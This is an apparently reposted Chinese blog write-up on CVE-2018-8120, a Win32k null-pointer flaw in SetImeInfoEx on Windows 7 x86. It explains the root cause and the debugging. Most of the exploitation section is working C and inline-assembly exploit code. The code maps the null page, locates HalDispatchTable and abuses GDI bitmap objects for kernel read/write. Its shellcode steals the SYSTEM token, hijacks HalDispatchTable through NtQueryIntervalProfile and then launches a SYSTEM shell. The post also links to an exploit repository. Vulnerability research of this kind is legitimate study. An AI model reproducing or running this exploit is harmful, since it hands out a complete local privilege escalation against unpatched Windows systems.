CVE-2018-8120


1、前言


 

借着這次來成都輪崗的機會跟tp老哥好好學習一下漏洞,這個cve-2018-8120准備從頭到尾好好調試一下。

2、實驗環境


 

  • windows7 x86 sp1
  • Windbg
  • IDA
  • ProcessHacker

3、漏洞成因


 

Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation對象中的spklList成員時並沒有進行判斷。

 通過交叉引用發現NtUserSetImeInfoEx調用了這個函數。

  由於我們通過CreateWindowStationWin32k!TagWindowStation.spklList默認為0,因此我們使用SetProcessWindowStation將我們創建的Win32k!TagWindowStation對象綁定到當前程序窗口,在通過手動調用NtSetUserImeInfoEx,就會造成0地址訪問而藍屏。

4、實驗


 

通過PCHunter找到NtSetUserImeInfoEx的序號然后根據不同版本系統構造不同的系統調用(通過OD觀察)。

 

 

知道序號和系統調用方式后編寫代碼觸發漏洞。

成功觸發藍屏

5、利用


 

  由於在Win7中我們可以通過NtAllocateVirtualMemory申請到0地址的空間,所以我們就有了控制SetImeInfoEx中a1的能力,其中參數a2則是我們傳給NtUserSetImeInfoEx的數組。因此我們就能利用SetImeInfoEx中memcpy來進行任意地址寫,但由於memcpy寫的長度固定不可控,因此直接覆蓋HalDispatchTable會造成其他相鄰數據被破壞。這里利用BitMap內核讀寫(不要問我怎么知道的,問就是跟大佬學的)。

  • 0地址頁面利用NtAllocateVirtualMemory
1 PVOID baseAddress = 0x100;
2 PVOID RegionSize = 0x1000;
3 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
4 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
5 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  • HalDispatchTable利用ZwQuerySystemInformation找到內核模塊后加載查導出表
 1     DWORD SysModuleSize;
 2     PVOID NtKernelAddr;
 3     PVOID NtKernelAddr_InUser;
 4     PVOID HalDispatchTable;
 5     char* ImageName;
 6     char NtKernelImageName[256] = {0};
 7     PSYSTEM_MODULE_INFORMATION SysModule;
 8     _ZwQuerySystemInformation ZwQuerySystemInformation;
 9     
10     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
11     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
12     SysModule = malloc(SysModuleSize);
13     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
14 
15     NtKernelAddr = SysModule->Module[0].Base;
16     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
17     ImageName = strrchr(NtKernelImageName, '\\') + 1;
18     NtKernelAddr_InUser = LoadLibrary(ImageName);
19     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
20     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
  • BitMap內核對象泄露

  從網上的資料來看,我們在用戶層調用CreateBitMap后返回的句柄低兩字節是一個指向GdiCell結構的索引,而這個結構指針保存在PEB.GdiSharedHandleTable。

1 typedef struct _GdiCell
2 {
3     PVOID pKernelAddress;
4     UINT16 wProcessIdl;
5     UINT16 wCount;
6     UINT16 wUpper;
7     UINT16 uType;
8     PVOID pUserAddress;
9 }GdiCell,*pGdiCell;

  在分析SetBitMapBits時,在NtGdiSetBitMapBits里面找到了將句柄轉換為內核對象的代碼。發現這個計算方法和網上公開的一樣,我們有理由懷疑這個GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一個數組。經過在WIndbg中進行驗證(如下圖)的確為同一個數組,經Windbg驗證是同一物理頁面在用戶空間也映射了一份。

 

 

 

 

 

結合ReactOS和網上的資料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成員。

 

 

  但是由於漏洞中的memcpy大小不可控,所以回覆蓋一部分的SURFOBJ成員,所以我們需要修復某些在Set/GetBitMapBits時所必須的成員(需要修復的值是可以在bDoGetSetBitmapBits中分析得出,這里我直接抄的別人的...)。

 

  • 完整代碼
  1 #include<stdio.h>
  2 #include<windows.h>
  3 
  4 
  5 int syscall_index = 0x1226;
  6 #define PEB_GdiSharedHandleTable 0x94  //win7 x86 sp1
  7 
  8 typedef struct _GdiCell
  9 {
 10     PVOID pKernelAddress;
 11     UINT16 wProcessIdl;
 12     UINT16 wCount;
 13     UINT16 wUpper;
 14     UINT16 uType;
 15     PVOID pUserAddress;
 16 }GdiCell,*pGdiCell;
 17 
 18 typedef NTSTATUS  (__stdcall *_ZwAllocateVirtualMemory)(
 19     _In_    HANDLE    ProcessHandle,
 20     _Inout_ PVOID* BaseAddress,
 21     _In_    ULONG_PTR ZeroBits,
 22     _Inout_ PSIZE_T   RegionSize,
 23     _In_    ULONG     AllocationType,
 24     _In_    ULONG     Protect
 25 );
 26 
 27 typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)(
 28     _In_      DWORD SystemInformationClass,
 29     _Inout_   PVOID                    SystemInformation,
 30     _In_      ULONG                    SystemInformationLength,
 31     _Out_opt_ PULONG                   ReturnLength
 32 );
 33 
 34 
 35 typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG   ProfileSource,
 36     OUT PULONG Interval);
 37 
 38 
 39 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
 40     HANDLE Section;
 41     PVOID MappedBase;
 42     PVOID Base;
 43     ULONG Size;
 44     ULONG Flags;
 45     USHORT LoadOrderIndex;
 46     USHORT InitOrderIndex;
 47     USHORT LoadCount;
 48     USHORT PathLength;
 49     CHAR ImageName[256];
 50 } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
 51 
 52 typedef struct _SYSTEM_MODULE_INFORMATION {
 53     ULONG Count;
 54     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
 55 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 56 
 57 
 58 
 59 void __declspec(naked) NtSetUserImeEx(int a)
 60 {
 61     __asm
 62     {
 63         mov esi,a
 64         mov eax,syscall_index
 65         mov edx,0x7ffe0300
 66         call dword ptr[edx]
 67         ret 4
 68     }
 69 }
 70 
 71 void __declspec(naked) GetSystemToken()
 72 {
 73     __asm
 74     {
 75         pushad
 76         mov eax,fs:[0x124]  //CurrentThread
 77         mov eax,[eax+0x150] //Process  
 78         lea edx,[eax+0xf8]  //MyProcess.Token
 79 noFind:
 80         mov eax,[eax+0xb8]  //Eprocess.ActiveProcessLinks
 81         sub eax,0xb8        //next Eprocess struct
 82         mov ebx,[eax+0xb4]  //PID
 83         cmp ebx,4
 84         jnz noFind
 85         mov eax,[eax+0xf8]    //System.Token
 86         mov [edx],eax
 87         lock inc [eax]
 88         lock inc[eax]
 89         popad
 90         ret
 91     }
 92 }
 93 
 94 
 95 int main(int argc,char** argv)
 96 {
 97 
 98 //泄露內核對象地址
 99     DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress;
100     HBITMAP hManage;
101     HBITMAP hWorker;
102 
103     hManage = CreateBitmap(5, 5, 5, 5, NULL);
104     hWorker = CreateBitmap(5, 5, 5, 5, NULL);
105     __asm
106     {
107         mov eax,fs:[0x30]
108         mov eax,[eax+ PEB_GdiSharedHandleTable]
109         mov bitMapKernelAddress,eax
110     }
111     Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 
112     Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress);
113 
114     
115 
116 //獲取HalDispatchTable表地址
117     DWORD SysModuleSize;
118     PVOID NtKernelAddr;
119     PVOID NtKernelAddr_InUser;
120     PVOID HalDispatchTable;
121     char* ImageName;
122     char NtKernelImageName[256] = {0};
123     PSYSTEM_MODULE_INFORMATION SysModule;
124     _ZwQuerySystemInformation ZwQuerySystemInformation;
125     
126     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
127     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
128     SysModule = malloc(SysModuleSize);
129     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
130 
131     NtKernelAddr = SysModule->Module[0].Base;
132     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
133     ImageName = strrchr(NtKernelImageName, '\\') + 1;
134     NtKernelAddr_InUser = LoadLibrary(ImageName);
135     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
136     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
137     (DWORD)HalDispatchTable += 4;
138 
139 //申請0地址內存並構造SURFOBJ,使Manage.pvScan0 = &Worker.pvScan0
140     DWORD* p = NULL;
141     PVOID baseAddress = 0x100;
142     PVOID RegionSize = 0x1000;
143     _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
144     ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
145     ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
146     
147 
148     DWORD ime[0x57] = {0x90};
149     HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0);
150     SetProcessWindowStation(hsta);
151 
152     *(p + 5) = (Worker_kernel + 0x10 + 0x20);  //sizeof(SURFACE.BASEOBJECT) = 0x10
153                                                //offset(SURFOBJ.pvScan0) = 0x20
154     ime[0] = (Worker_kernel + 0x10 + 0x20);    //while ( p[5] != *ime )
155 
156     *(p + 0xb) = (Manage_kernel + 0x10 + 0x20);   //v4 = (_DWORD *)p[0xB];
157                         //if (!v4)
158                         //    return 0;
159     //fix some member what Set/GetBitMapBits use
160 
161     DWORD* pp = (DWORD*)& ime[1];                //以下是要修復的一些成員
162     pp[0] = 0x180;
163     pp[1] = 0xabcd;
164     pp[2] = 6;
165     pp[3] = 0x10000;
166     pp[5] = 0x4800200;
167 
168 
169 
170 //觸發漏洞
171     NtSetUserImeEx(&ime);
172 
173     DWORD oldHalDispatchTable;
174     PVOID ShellCode= GetSystemToken;
175     SetBitmapBits(hManage, 4, &HalDispatchTable);
176     GetBitmapBits(hWorker, 4, &oldHalDispatchTable);
177     SetBitmapBits(hWorker, 4, &ShellCode);
178 
179     _NtQueryIntervalProfile NtQueryIntervalProfile;
180     ULONG Interval = 0;
181     NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
182     NtQueryIntervalProfile(0x1337, &Interval);
183     SetBitmapBits(hWorker, 4, &oldHalDispatchTable);
184 
185     system("cmd");
186 
187     return 0;
188 }
  • 效果截圖

 

 6、參考資料


 

1 https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99
2 https://www.freebuf.com/column/173797.html
3 https://bbs.pediy.com/thread-225436.htm

 

利用代碼: <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM